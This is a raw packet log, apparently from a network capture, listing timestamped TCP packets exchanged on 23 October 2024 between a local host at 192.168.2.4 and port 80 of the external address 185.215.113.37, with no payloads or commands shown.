Oct 23, 2024 15:48:20.506869078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506901979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506912947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506912947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506951094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506985903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.506997108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.506997108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507019997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507052898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507065058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507065058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507086992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507121086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507143974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507143974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507153988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507189989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507200956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507200956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507224083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507256985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507270098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507270098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507292032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507335901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507335901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507348061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507380962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507415056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507425070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507425070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507448912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507472038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507487059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507523060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507558107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507564068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507564068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507595062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507627010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507630110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507630110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507662058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507694960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507729053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507735014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507735014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507761955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507797003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507817984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507817984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507828951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507863045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507894993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507917881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507917881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507929087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.507972956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507972956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.507978916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508016109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508064032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508105040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508105040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508114100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508147001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508188009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508188009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508196115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508230925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508264065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508271933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508271933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508297920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508332014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508337975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508337975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508363008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508395910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508426905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508435011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508435011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508461952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508492947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508512974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508512974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508527040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508555889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508563995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508563995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508589983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508621931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508629084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508629084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508656025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508675098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508690119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508723974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508729935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508729935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508757114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508791924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508795023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508795023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508826017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508858919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508893013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508904934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508904934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508927107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508960009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.508965969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508965969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.508994102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.509033918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.509033918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.619968891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.619986057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620007038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620018959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620023966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620033026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620045900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620058060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620083094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620083094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620098114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620110035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620121002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620131969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620132923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620132923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620145082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620166063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620166063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620177984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620189905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620206118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620218039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620224953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620224953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620229959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620243073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620268106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620268106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620280027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620291948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620311975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620311975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620321989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620332956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620345116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620357037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620369911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620369911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620450020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620460987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620472908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620486021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620488882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620488882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620491982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620532036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620671034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620682955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620699883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620719910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620732069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620732069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620745897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620759010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620773077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620773077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620822906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620835066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620842934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620848894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620862007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620873928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620887041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620887041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620887041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620913029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620925903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620925903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620932102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620945930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620958090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.620968103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620968103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620999098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.620999098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621081114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621093035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621107101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621119022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621129990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621130943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621130943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621143103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621160984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621165037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621165037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621174097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621186018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621198893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621208906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621208906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621212006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621236086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621248007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621258974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621258974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621259928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621273041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621285915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621296883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621304989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621335983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621335983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621356964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621368885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621380091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621392012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621402979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621418953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621419907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621419907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621438026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621450901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621462107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621465921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621465921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621525049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621536016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621547937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621557951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621560097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621560097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621570110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621581078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621592045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621602058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621614933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621615887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621614933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621648073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621648073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621654034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621665001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621675968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621689081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621702909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621736050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621736050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621778965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621793032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621805906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621818066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621829987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621833086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621850967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621862888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621874094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621876001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621876001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621912003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621912003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621929884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621942043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621954918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621967077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621985912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621985912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.621987104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.621999979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622011900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622030973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622030973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622066975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622072935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622122049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622134924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622153997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622153997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622195959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622208118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622220993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622237921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622237921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622298956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622308969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622319937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622333050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622344971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622354031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622354031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622356892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622375965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622375965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622376919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622390985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622402906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622416019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622432947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622450113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622461081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622461081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622462034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622477055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622488976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622499943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622510910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622510910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622560024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622571945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622582912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622595072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622607946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622612953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622612953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622622967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622642994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622643948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622643948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622653961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622673035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622684002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622695923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:20.622703075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622703075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:20.622709036 CEST	80	49730	185.215.113.37	192.168.2.4
